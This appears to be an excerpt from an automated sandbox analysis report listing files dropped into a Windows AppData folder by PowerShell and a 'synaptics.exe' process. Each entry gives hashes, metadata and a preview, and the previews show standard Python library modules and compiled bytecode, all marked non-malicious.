              SHA1:5AF6EC7A8B5D787F56FCE7B01F9D103B5D22C3A5
              SHA-256:35CD5F9AB4611102799F21E7EFFA5F31EFEE56826E0383F59BAFD27BB3598B9A
              SHA-512:942A451A97BD6099C2608685E2097588527627FB1825127E622BA8359E1C104205F89036118241DFB44309077DFE818D703F91116D537A235AFD0B04F3C92D0F
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python3....# Copyright 1994 by Lance Ellinghouse..# Cathedral City, userfornia Republic, United States of America...# All Rights Reserved..# Permission to use, copy, modify, and distribute this software and its..# documentation for any purpose and without fee is hereby granted,..# provided that the above copyright notice appear in all copies and that..# both that copyright notice and this permission notice appear in..# supporting documentation, and that the name of Lance Ellinghouse..# not be used in advertising or publicity pertaining to distribution..# of the software without specific, written prior permission...# LANCE ELLINGHOUSE DISCLAIMS ALL WARRANTIES WITH REGARD TO..# THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND..# FITNESS, IN NO EVENT SHALL LANCE ELLINGHOUSE CENTRUM BE LIABLE..# FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES..# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\uuid.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):28233
              Entropy (8bit):4.867217589417424
              Encrypted:false
              SSDEEP:
              MD5:ECA958D6B61E6FA8319F071C7D3CA253
              SHA1:657398649832132808FD5DDB3B05240525758535
              SHA-256:AC5DD1BFF2AC117CF1D1A9F86131D2E93C935CA59CF0A89D6ABB05295EDF007B
              SHA-512:D856FBADF451F3C6126F6EC65CFBD31A240496EFA88E77FCEB4298618F8192A07523C9360225C48404EDF12E6E71EA0C54B96AB7A9844AB51AB3C23D35D74B73
              Malicious:false
              Reputation:unknown
              Preview:r"""UUID objects (universally unique identifiers) according to RFC 4122.....This module provides immutable UUID objects (class UUID) and the functions..uuid1(), uuid3(), uuid4(), uuid5() for generating version 1, 3, 4, and 5..UUIDs as specified in RFC 4122.....If all you want is a unique ID, you should probably call uuid1() or uuid4()...Note that uuid1() may compromise privacy since it creates a UUID containing..the computer's network address. uuid4() creates a random UUID.....Typical usage:.... >>> import uuid.... # make a UUID based on the host ID and current time.. >>> uuid.uuid1() # doctest: +SKIP.. UUID('a8098c1a-f86e-11da-bd1a-00112444be1e').... # make a UUID using an MD5 hash of a namespace UUID and a name.. >>> uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org').. UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e').... # make a random UUID.. >>> uuid.uuid4() # doctest: +SKIP.. UUID('16fd2706-8baf-433b-82eb-8c7fada847da').... # make a UUID using a SHA-1

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\warnings.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):20237
              Entropy (8bit):4.456113748681824
              Encrypted:false
              SSDEEP:
              MD5:75CDCBE366D13B7C463830D8FAF2DBE5
              SHA1:BBAA1236B789B5D2511A938A604361E32AEA6D6F
              SHA-256:2B0C512178EAF53227CD7D336FBC5E055509048B8E1D9CE7CBB33D56B968D4BA
              SHA-512:E9B77E373F793355BA7822C39D141054B13772D4C2124E95CB8E9FFBC684D9AB2107FFDB5C9C8009E4541CD4F1169D3AEF825AB398FB73151BA60D05963EA045
              Malicious:false
              Reputation:unknown
              Preview:"""Python part of the warnings subsystem."""....import sys......__all__ = ["warn", "warn_explicit", "showwarning",.. "formatwarning", "filterwarnings", "simplefilter",.. "resetwarnings", "catch_warnings"]....def showwarning(message, category, filename, lineno, file=None, line=None):.. """Hook to write a warning to a file; replace if you like.""".. msg = WarningMessage(message, category, filename, lineno, file, line).. _showwarnmsg_impl(msg)....def formatwarning(message, category, filename, lineno, line=None):.. """Function to format a warning the standard way.""".. msg = WarningMessage(message, category, filename, lineno, None, line).. return _formatwarnmsg_impl(msg)....def _showwarnmsg_impl(msg):.. file = msg.file.. if file is None:.. file = sys.stderr.. if file is None:.. # sys.stderr is None when run with pythonw.exe:.. # warnings get lost.. return.. text = _formatwarnmsg(msg).. try:..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\wave.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):18517
              Entropy (8bit):4.368436724087491
              Encrypted:false
              SSDEEP:
              MD5:D55129AF4810C592A87D75480D44C73F
              SHA1:A15D2AD39D8264C6851C5445CE08FC7A03B4426C
              SHA-256:0CC87A2E89B8B3AF9470A8EF92944EDEFD4A05E1D9ADEA6F2326F9C8E0AE78FC
              SHA-512:89B648FAB150243609A06722574434B09280941DF74845CE3B4A730A1EA55313565E32B4D439BD16B41EC272505C87C025CEBEA60026682720964790658E911D
              Malicious:false
              Reputation:unknown
              Preview:"""Stuff to parse WAVE files.....Usage.....Reading WAVE files:.. f = wave.open(file, 'r')..where file is either the name of a file or an open file pointer...The open file pointer must have methods read(), seek(), and close()...When the setpos() and rewind() methods are not used, the seek()..method is not necessary.....This returns an instance of a class with the following public methods:.. getnchannels() -- returns number of audio channels (1 for.. mono, 2 for stereo).. getsampwidth() -- returns sample width in bytes.. getframerate() -- returns sampling frequency.. getnframes() -- returns number of audio frames.. getcomptype() -- returns compression type ('NONE' for linear samples).. getcompname() -- returns human-readable version of.. compression type ('not compressed' linear samples).. getparams() -- returns a namedtuple consisting of all of the.. above in th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\weakref.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):22235
              Entropy (8bit):4.290222224385809
              Encrypted:false
              SSDEEP:
              MD5:77D4C5645BC5F43355F2490B0DB5330D
              SHA1:C1D67552A3A49361A322BFCF9E4A925DE3E7AB57
              SHA-256:666C9958ACF3D1A307170E7E6DF53BB064C63EA4995627E870552EFA088D9A9D
              SHA-512:5A4F5864BA0813736B171CF90B90F971455D53236EE0324578CBE211BFCCB30EED11334B388C5D7D6B412D6ED25694F56948E31F440B4FDFF0C1FA76CDD5D38F
              Malicious:false
              Reputation:unknown
              Preview:"""Weak reference support for Python.....This module is an implementation of PEP 205:....https://www.python.org/dev/peps/pep-0205/.."""....# Naming convention: Variables named "wr" are weak reference objects;..# they are called this instead of "ref" to avoid name collisions with..# the module-global ref() function imported from _weakref.....from _weakref import (.. getweakrefcount,.. getweakrefs,.. ref,.. proxy,.. CallableProxyType,.. ProxyType,.. ReferenceType,.. _remove_dead_weakref)....from _weakrefset import WeakSet, _IterationGuard....import _collections_abc # Import after _weakref to avoid circular import...import sys..import itertools....ProxyTypes = (ProxyType, CallableProxyType)....__all__ = ["ref", "proxy", "getweakrefcount", "getweakrefs",.. "WeakKeyDictionary", "ReferenceType", "ProxyType",.. "CallableProxyType", "ProxyTypes", "WeakValueDictionary",.. "WeakSet", "WeakMethod", "finalize"]......_collections_abc.Se

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\webbrowser.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):24962
              Entropy (8bit):4.4821654414982
              Encrypted:false
              SSDEEP:
              MD5:C6235576ACFA074E0602F8286D6AE967
              SHA1:E7D5740885F262528495F54F1C29E991C4C878E7
              SHA-256:91DE52B10A90BC40792725B914E2184671E2E2EE0D32E3BA6B1EC027E63BDC51
              SHA-512:1446B528F4A41C4ABC1E532F408CCDA8F4530C37E711E12A80E2141BBEEF4A98A5740EF4B759AFCCFDBD18A2D9FEC7A5A08F0BD87424EB084CF8AF6508A22BE4
              Malicious:false
              Reputation:unknown
              Preview:#! /usr/bin/env python3.."""Interfaces for launching and remotely controlling web browsers."""..# Maintained by Georg Brandl.....import os..import shlex..import shutil..import sys..import subprocess..import threading....__all__ = ["Error", "open", "open_new", "open_new_tab", "get", "register"]....class Error(Exception):.. pass...._lock = threading.RLock().._browsers = {} # Dictionary of available browser controllers.._tryorder = None # Preference order of available browsers.._os_preferred_browser = None # The preferred browser....def register(name, klass, instance=None, *, preferred=False):.. """Register a browser connector.""".. with _lock:.. if _tryorder is None:.. register_standard_browsers().. _browsers[name.lower()] = [klass, instance].... # Preferred browsers go to the front of the list... # Need to match to the default browser returned by xdg-settings, which.. # may be of the form e.g. "fir

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\xdrlib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):6154
              Entropy (8bit):4.544312365119713
              Encrypted:false
              SSDEEP:
              MD5:AB44399A4ABB9874B0F2C2D5F9FEA306
              SHA1:0E1F67F497D7E3A497A6EBD8ED6DBAEE11A83656
              SHA-256:A9043DAD797D72C31A4A01AD4069D83AC894720EF8E72490831676A8517D0853
              SHA-512:1B905F86AF613D9AF99E2046AA82EB2C1271C7E2384DF010DBCFEC37736C2CC2592956CEB08DF567FA3CDA12B8135C55E75081727EA258921E4F8FCA6AC6C6EB
              Malicious:false
              Reputation:unknown
              Preview:"""Implements (a subset of) Sun XDR -- eXternal Data Representation.....See: RFC 1014...."""....import struct..from io import BytesIO..from functools import wraps....__all__ = ["Error", "Packer", "Unpacker", "ConversionError"]....# exceptions..class Error(Exception):.. """Exception class for this module. Use:.... except xdrlib.Error as var:.. # var has the Error instance for the exception.... Public ivars:.. msg -- contains the message.... """.. def __init__(self, msg):.. self.msg = msg.. def __repr__(self):.. return repr(self.msg).. def __str__(self):.. return str(self.msg)......class ConversionError(Error):.. pass....def raise_conversion_error(function):.. """ Wrap any raised struct.errors in a ConversionError. """.... @wraps(function).. def result(self, value):.. try:.. return function(self, value).. except struct.error as e:.. raise ConversionError(e.args[0]) from None.. retur

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\zipapp.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Nim source code, ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):7741
              Entropy (8bit):4.6850395961561775
              Encrypted:false
              SSDEEP:
              MD5:A981793A5C496164DFB5AFC8212CCABE
              SHA1:D4309C07CFE248A9725290922937F21363550AE4
              SHA-256:EF6D063E7337F6D83FBBB4CA3ADAF321B35CBB3AF736A25D2D637231346E3117
              SHA-512:010D2A3AC76A022165E4564CF9A26A3B3324E8585CCCA1C66EE173A4C6A105993FA55B93576B0C48B271C182AC9CE87BD3CE7441CD76E2B19DE0C1907147379D
              Malicious:false
              Reputation:unknown
              Preview:import contextlib..import os..import pathlib..import shutil..import stat..import sys..import zipfile....__all__ = ['ZipAppError', 'create_archive', 'get_interpreter']......# The __main__.py used if the users specifies "-m module:fn"...# Note that this will always be written as UTF-8 (module and..# function names can be non-ASCII in Python 3)...# We add a coding cookie even though UTF-8 is the default in Python 3..# because the resulting archive may be intended to be run under Python 2...MAIN_TEMPLATE = """\..# -*- coding: utf-8 -*-..import {module}..{module}.{fn}().."""......# The Windows launcher defaults to UTF-8 when parsing shebang lines if the..# file has no BOM. So use UTF-8 on Windows...# On Unix, use the filesystem encoding...if sys.platform.startswith('win'):.. shebang_encoding = 'utf-8'..else:.. shebang_encoding = sys.getfilesystemencoding()......class ZipAppError(ValueError):.. pass......@contextlib.contextmanager..def _maybe_open(archive, mode):.. if isinstance(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\zipfile.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):91926
              Entropy (8bit):4.530877476231924
              Encrypted:false
              SSDEEP:
              MD5:5AB203B50E60C14191FC1EED8A6DC2F9
              SHA1:44C4518C0971E7858CA45F50347820177964971E
              SHA-256:2E155CDE604896D9903A4C529B89FA768E75F6E17FB7A60DB0AC2190B0B34456
              SHA-512:A7ED4066F7FA40161E34B390C62FC9AB7B4E2EC784A9AF96C7A10F32C5D01419B5134C8639EDD1858D9C4876A2752A1863DC798BD9011ED04D6E3983263C0A4A
              Malicious:false
              Reputation:unknown
              Preview:"""..Read and write ZIP files.....XXX references to utf-8 need further investigation..."""..import binascii..import importlib.util..import io..import itertools..import os..import posixpath..import shutil..import stat..import struct..import sys..import threading..import time..import contextlib..import pathlib....try:.. import zlib # We may need its compression method.. crc32 = zlib.crc32..except ImportError:.. zlib = None.. crc32 = binascii.crc32....try:.. import bz2 # We may need its compression method..except ImportError:.. bz2 = None....try:.. import lzma # We may need its compression method..except ImportError:.. lzma = None....__all__ = ["BadZipFile", "BadZipfile", "error",.. "ZIP_STORED", "ZIP_DEFLATED", "ZIP_BZIP2", "ZIP_LZMA",.. "is_zipfile", "ZipInfo", "ZipFile", "PyZipFile", "LargeZipFile",.. "Path"]....class BadZipFile(Exception):.. pass......class LargeZipFile(Exception):.. """.. Raised when writing a zipfile, th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\zipimport.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):31670
              Entropy (8bit):4.640811570675585
              Encrypted:false
              SSDEEP:
              MD5:C35072F99E2CD83443AC1DB234B1716D
              SHA1:68DD726663BBE88215BFC5BF122FB82B7DE83592
              SHA-256:52580EB9D1D0607A5139EA2E6EC847CFB5DA30C37F1462E5072C960287A547E2
              SHA-512:BAD94CDC61C314DDF965C07A98304ACED800FFFA3BA5E10E32650CB026F8BDCF1F2B9A064A2C319AF7DCF3C25C09018663ABD136E16256F6736E991243636B37
              Malicious:false
              Reputation:unknown
              Preview:"""zipimport provides support for importing Python modules from Zip archives.....This module exports three objects:..- zipimporter: a class; its constructor takes a path to a Zip archive...- ZipImportError: exception raised by zipimporter objects. It's a.. subclass of ImportError, so it can be caught as ImportError, too...- _zip_directory_cache: a dict, mapping archive paths to zip directory.. info dicts, as used in zipimporter._files.....It is usually not needed to use the zipimport module explicitly; it is..used by the builtin import mechanism for sys.path items that are paths..to Zip archives..."""....#from importlib import _bootstrap_external..#from importlib import _bootstrap # for _verbose_message..import _frozen_importlib_external as _bootstrap_external..from _frozen_importlib_external import _unpack_uint16, _unpack_uint32..import _frozen_importlib as _bootstrap # for _verbose_message..import _imp # for check_hash_based_pycs..import _io # for open..import marshal # for lo

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\__future__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A173149C46B1C3527CC2B0418D443315
              SHA1:59D5DE169579C067E7826B93CEB0C824E4D426B4
              SHA-256:76ED8DB1ED043F093A42BC5201A551784CF8D1182BB2FE55FBD3B5D9DF66A280
              SHA-512:0BD2BBA55A451D00F175F5A0AFB59C5200C9CE155D9B168AD0E65ADE1E209B8EA8611A8B567ABF92ACEF2C597EECA4A252FEC5C6019800E357F456AE397783B9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\_collections_abc.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:17216442A3370533CEE9F140D0E39777
              SHA1:5D717AACC88946B756F6D6EAC9F714CE495678AC
              SHA-256:A3961F1F49B0457648A2C70017B6A096F70B199556B7F6951CBC2AC34A94B36D
              SHA-512:2E4526320C1BBC1C4346E5D17BA2B684F4DB2603C1CDC1EE0AFA791B13BF0F45BBC0B037C2419A82C1E12D78E5F841C2E83B8D06AED2CA91E1509A6A728FD30A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Z*e*..Z*e.e*..Z+e*.,....[*d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d*..d*e8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF.3e(....G.dAdB..dBe;..ZGG.dCdD..dDeGeC..ZHeH.3e$..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\_compression.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:353C90C8259F56230B46F82AE36875A5
              SHA1:6F1E37358B6BA8DD5255EABB845967E103A61472
              SHA-256:7614E369DCE5E217F33802C6F2E2C387EE0F63074EE5D9C155A93502164AEC9F
              SHA-512:DD163A36A70CF7BEEB3754560507FD278B0E4B3399165133C17A61007808DA8C8F678A714903B48ABD342B9F98B9A274F13D1D468879797A07E83818DF2324D5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sB...d.Z.d.d.l.Z.d.d.l.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.).z7Internal classes used by the gzip, lzma and bz2 modules.....Nc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BaseStreamz.Mode-checking helper functions.c....................C...s....|.j.r.t.d.....d.S.).Nz.I/O operation on closed file)...closed..ValueError....self..r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\_compression.py.._check_not_closed....s..........z.BaseStream._check_not_closedc....................C........|.....s.t...d.....d.S.).Nz.File not open for reading)...readable..io..UnsupportedOperationr....r....r....r......_check_can_read...............z.BaseStream._check_can_readc....................C...r....).Nz.File not open for writing)...writabler....r....r....r....r....r......_check_can_write....r....z.BaseStream._check_can_writec....................C...s(...|.....s.t...d.....|.....s.t...d.....d.S.).Nz3Seeking is only support

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\_sitebuiltins.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:481740BB258D9AFA3B3D69437087214A
              SHA1:FDEBD9872D9971B9DCEBEC1D3983C70F869B6B3B
              SHA-256:D1C4119147D4FB3CE55DC1A419B5B3001E10901982861FFDC7B45965CA70F95C
              SHA-512:CB19E7FC6CC99038752072C33B0BC81DA56203547C1DF693D71BA3ECB395E885A5E5235DD3170608D0D4CDF59F53D96924F10F11DD37E1FEADD3E31950978FF1
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s@...d.Z.d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z=.The objects used by the site module to add custom builtins.......Nc....................@...s&...e.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...Quitterc....................C...s....|.|._.|.|._.d.S...N....name..eof)...selfr....r......r.....;C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\_sitebuiltins.py..__init__....s........z.Quitter.__init__c....................C...s....d.|.j.|.j.f...S.).Nz.Use %s() or %s to exitr......r....r....r....r......__repr__....s......z.Quitter.__repr__Nc....................C...s&...z.t.j.......W.t.|...........Y.t.|.....r....)...sys..stdin..close..SystemExit).r......coder....r....r......__call__....s................z.Quitter.__call__r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s6...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._Printerzninteractive prompt object

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\_weakrefset.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:20A6DA6B576B5949B3A9B99A82FB4A2B
              SHA1:389E1492BF03324E046D83DD4AEA07B8D02CB9F3
              SHA-256:FBB87D06AFD9FE8B740748627C6640F025DB9F6E93637980C1271AA8E40D4683
              SHA-512:411E688C53B767C9096BB62372E66BD82290F94A6247D653CB2910262031F2A8A48E5562EF53C18E97F846037AD93FA5170D6DFD57AE4F819796A9D03C18F85A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s>...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d...Z.G.d.d...d...Z.d.S.)..........ref)...Generiuseras..WeakSetc....................@...s$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._IterationGuardc....................C...s....t.|...|._.d.S...N).r......weakcontainer)...selfr......r.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\_weakrefset.py..__init__....s......z._IterationGuard.__init__c....................C...s ...|.....}.|.d.u.r.|.j...|.....|.S.r....).r......_iterating..add).r......wr....r....r......__enter__....s............z._IterationGuard.__enter__c....................C...s8...|.....}.|.d.u.r.|.j.}.|...|.....|.s.|.......d.S.d.S.d.S.r....).r....r......remove.._commit_removals).r......e..t..br......sr....r....r......__exit__....s....................z._IterationGuard.__exit__N)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s&...e.Z.d.Z.d@d.d...Z.d.d...Z.d.d...Z.d.d...Z.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\abc.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:EE765A0A05ED655897C39D50A6627D77
              SHA1:EEC33DFC335CF731FAE29001572FE4A2CDF8B41D
              SHA-256:769B7F3A10C42ACA108F9F85CE9F7E67B41377F81B50D59F80832E73C6C1541D
              SHA-512:6FB5C44D0BC536483F4668AEA07B5505FFD993949E7CFFBE9FE4F604A7B4CCDB6657B637457E5810D6628C95734706485E6D94C2442BDC8189CB67D648450723
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d6........................@...s....d.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...W.n...e.yH......d.d.l.m.Z.m.Z...d.e._.Y.n.w.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.d...Z.d.S.).z3Abstract Base Classes (ABCs) according to PEP 3119.c....................C...s....d.|._.|.S.).a<...A decorator indicating abstract methods... Requires that the metaclass is ABCMeta or derived from it. A. class that has a metaclass derived from ABCMeta cannot be. instantiated unless all of its abstract methods are overridden.. The abstract methods can be called using any of the normal. 'super' call mechanisms. abstractmethod() may be used to declare. abstract methods for properties and descriptors... Usage:.. class C(metaclass=ABCMeta):. @abstractmethod. def my_abstract_method(self, ...):. .... T)...__isabstractmethod__).Z.funcobj..r.....1C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\base64.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:90143D118563C51F79A7A7775E02889B
              SHA1:EA3B868D92CB1745C549115F2D43C2A272B08D53
              SHA-256:29DB61DF7F3F3D62A6C07D17CB2D321EE8502D16D20D885F97BA58F8B6A38313
              SHA-512:E0F0DE05D0CF08E17F6DD9C13EE28FDA29B0F617E62FBB7A1741A892FD0BA3521D2BBD0B51DC194EA8DDE8693B491300E0F95A0FDB182FA4C2AFB76FEA80D933
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.S.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.e.e.f.Z.d.d...Z.dQd.d...Z.dRd.d...Z.d.d...Z.d.d...Z.e...d.d...Z.e...d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.a.i.a.d.d...Z.dSd.d...Z.d.d...Z.e.j.d d!..e._.dSd"d#..Z.e.j.d e.d$..e._.d%d&..Z.e.j.d'd!..e._.dTd(d)..Z.e.j.d'd*d$..e._.d+d,..Z dTd-d...Z!d.a"d.a#d/Z$d0Z%dUd1d2..Z&d.d.d.d.d3..d4d5..Z'd.d.d6d7..d8d9..Z(d:Z)d.a*d.a+d.a,dTd;d<..Z-d=d>..Z.d?Z/e/d@..dA..Z0dBdC..Z1dDdE..Z2dFdG..Z3dHdI..Z4dJdK..Z5dLdM..Z6dNdO..Z7e8dPk.r.e6....d.S.d.S.)VzDBase16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings.....N)...encode..decode..encodebytes..decodebytes..b64encode..b64decode..b32encode..b32decode..b32hexencode..b32hexdecode..b16encode..b16decode..b85encode..b85decode..a85encode..a85decode..standard_b64encode..standard_b64decode..urlsafe_b64encode..urlsafe_b64decodec....................C...sl...t.|.t...r.z.|...d...W.S...t.y.......t.d.....w.t.|.t...r.|.S.z.t.|.......W.S...t.y5......t.d.|.j.j.....d...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\__pycache__\bisect.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:7299279836DD0A65EEC6ECA6A5B52E6E
              SHA1:5DAF292D2002873AA6AB90A87EEA7E4F9D5C1BFD
              SHA-256:56E3D42A80B044A58D3DC5ECAFCDC079F9B4F14065942FE99BA36B5FF4C75F23
              SHA-512:C27D652BCA644B23DC393EAB86F07C930DE093FB800537CF198D6C95C708F75E80B389659ED663564B9C51DCD04BCFA25FA1E67B1E3D529C4BFC8A88C477126E
              Malicious:false
              Reputation:unknown
